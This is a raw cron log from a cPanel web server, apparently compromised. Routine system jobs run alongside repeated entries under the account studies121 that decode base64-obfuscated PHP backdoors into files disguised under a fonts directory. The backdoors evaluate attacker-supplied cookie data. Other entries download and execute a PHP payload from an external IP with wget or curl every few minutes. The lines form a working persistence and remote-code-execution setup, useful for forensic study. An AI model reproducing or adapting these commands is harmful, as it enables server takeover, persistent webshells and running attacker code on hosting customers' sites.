Feb 22 05:00:01 ip-184-168-122-23 CROND[14244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:01:01 ip-184-168-122-23 CROND[14601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 05:01:01 ip-184-168-122-23 CROND[14602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:01:01 ip-184-168-122-23 CROND[14604]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 05:01:01 ip-184-168-122-23 CROND[14605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:01:01 ip-184-168-122-23 CROND[14606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:01:01 ip-184-168-122-23 CROND[14607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14604]: starting 0anacron
Feb 22 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14623]: finished 0anacron
Feb 22 05:02:01 ip-184-168-122-23 CROND[14934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:02:01 ip-184-168-122-23 CROND[14936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:02:01 ip-184-168-122-23 CROND[14938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:02:01 ip-184-168-122-23 CROND[14939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:02:01 ip-184-168-122-23 CROND[14937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:03:01 ip-184-168-122-23 CROND[15248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:03:01 ip-184-168-122-23 CROND[15249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:03:01 ip-184-168-122-23 CROND[15250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:03:01 ip-184-168-122-23 CROND[15253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:04:01 ip-184-168-122-23 CROND[15618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:04:01 ip-184-168-122-23 CROND[15616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:04:01 ip-184-168-122-23 CROND[15617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:04:01 ip-184-168-122-23 CROND[15620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:04:01 ip-184-168-122-23 CROND[15619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:05:01 ip-184-168-122-23 CROND[15936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:05:01 ip-184-168-122-23 CROND[15937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:05:01 ip-184-168-122-23 CROND[15945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:05:01 ip-184-168-122-23 CROND[15944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:05:01 ip-184-168-122-23 CROND[15948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:05:01 ip-184-168-122-23 CROND[15950]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 05:05:01 ip-184-168-122-23 CROND[15949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:06:01 ip-184-168-122-23 CROND[16281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:06:01 ip-184-168-122-23 CROND[16283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:06:01 ip-184-168-122-23 CROND[16286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:06:01 ip-184-168-122-23 CROND[16285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:06:01 ip-184-168-122-23 CROND[16284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:07:01 ip-184-168-122-23 CROND[16677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:07:01 ip-184-168-122-23 CROND[16679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:07:01 ip-184-168-122-23 CROND[16678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:07:01 ip-184-168-122-23 CROND[16680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:08:01 ip-184-168-122-23 CROND[16987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:08:01 ip-184-168-122-23 CROND[16991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:08:01 ip-184-168-122-23 CROND[16989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:08:01 ip-184-168-122-23 CROND[16993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:08:01 ip-184-168-122-23 CROND[16990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:09:01 ip-184-168-122-23 CROND[17323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:09:01 ip-184-168-122-23 CROND[17325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:09:01 ip-184-168-122-23 CROND[17327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:09:01 ip-184-168-122-23 CROND[17329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:09:01 ip-184-168-122-23 CROND[17328]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 05:10:01 ip-184-168-122-23 CROND[17664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:10:01 ip-184-168-122-23 CROND[17663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:10:01 ip-184-168-122-23 CROND[17666]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 05:10:01 ip-184-168-122-23 CROND[17669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:10:01 ip-184-168-122-23 CROND[17674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:10:01 ip-184-168-122-23 CROND[17671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:10:01 ip-184-168-122-23 CROND[17672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:10:01 ip-184-168-122-23 CROND[17673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:11:01 ip-184-168-122-23 CROND[18018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:11:01 ip-184-168-122-23 CROND[18019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:11:01 ip-184-168-122-23 CROND[18022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:11:01 ip-184-168-122-23 CROND[18021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:12:01 ip-184-168-122-23 CROND[18417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:12:01 ip-184-168-122-23 CROND[18419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:12:01 ip-184-168-122-23 CROND[18420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
